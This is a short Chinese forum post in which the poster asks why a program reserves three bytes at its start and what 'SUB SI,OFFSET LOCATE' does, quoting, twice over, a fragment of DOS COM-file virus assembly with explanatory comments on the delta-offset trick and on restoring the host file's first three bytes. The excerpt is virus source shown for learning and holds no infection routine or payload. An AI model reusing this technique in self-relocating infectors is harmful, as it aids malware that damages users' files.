主题:请高人指点
为什么程序开头要留 3BYTES空间
SUB SI,OFFSET LOCATE 有什么用
FIRST_3_BYTE DB 0CDh,20h,? ; DB 0CDh,20h = INT 20h (程序结束)
CODE SEGMENT
ASSUME CS:CODE,DS:CODE
ORG 100h
START:
NOP ; ┐
NOP ; ├> 保留 3 BYTES 的空间
NOP ; ┘
VIR_START: ; 此处才是真正病毒程序的开端
CALL LOCATE ; 可以想成 PUSH IP
LOCATE: ;
POP SI ;
SUB SI,OFFSET LOCATE ; 减掉多余的值,此时 SI=偏移值
; 由于此毒是接在档案后面,而被感染的档案大小不一,所以病毒接在档案后的偏移
; 也会不一定,而会造成变量无法定位,所以我们要得知偏移了多少
; 下面程序只要牵涉到和内存寻址有关的部份,都会加上 [SI] 偏移值
MOV AX,WORD PTR DS:FIRST_3_BYTE[SI] ; ┬> 恢复内存中,原
MOV DS:[100h],AX ; │ 档案开头,被病毒
MOV AL,DS:FIRST_3_BYTE[SI+2] ; │ 改过的 3 BYTES
MOV DS:[100h+2],AL ; ┘
; 因为此毒第一次执行时,之前并没有感染过档案,而要恢复此 3 BYTES 时会盖到
; 病毒本身,所以一开始我们加了 3 个 NOP 来空出此空间,VIR_START 才是真正
; 的病毒码开始处
SUB SI,OFFSET LOCATE 有什么用
FIRST_3_BYTE DB 0CDh,20h,? ; DB 0CDh,20h = INT 20h (程序结束)
CODE SEGMENT
ASSUME CS:CODE,DS:CODE
ORG 100h
START:
NOP ; ┐
NOP ; ├> 保留 3 BYTES 的空间
NOP ; ┘
VIR_START: ; 此处才是真正病毒程序的开端
CALL LOCATE ; 可以想成 PUSH IP
LOCATE: ;
POP SI ;
SUB SI,OFFSET LOCATE ; 减掉多余的值,此时 SI=偏移值
; 由于此毒是接在档案后面,而被感染的档案大小不一,所以病毒接在档案后的偏移
; 也会不一定,而会造成变量无法定位,所以我们要得知偏移了多少
; 下面程序只要牵涉到和内存寻址有关的部份,都会加上 [SI] 偏移值
MOV AX,WORD PTR DS:FIRST_3_BYTE[SI] ; ┬> 恢复内存中,原
MOV DS:[100h],AX ; │ 档案开头,被病毒
MOV AL,DS:FIRST_3_BYTE[SI+2] ; │ 改过的 3 BYTES
MOV DS:[100h+2],AL ; ┘
; 因为此毒第一次执行时,之前并没有感染过档案,而要恢复此 3 BYTES 时会盖到
; 病毒本身,所以一开始我们加了 3 个 NOP 来空出此空间,VIR_START 才是真正
; 的病毒码开始处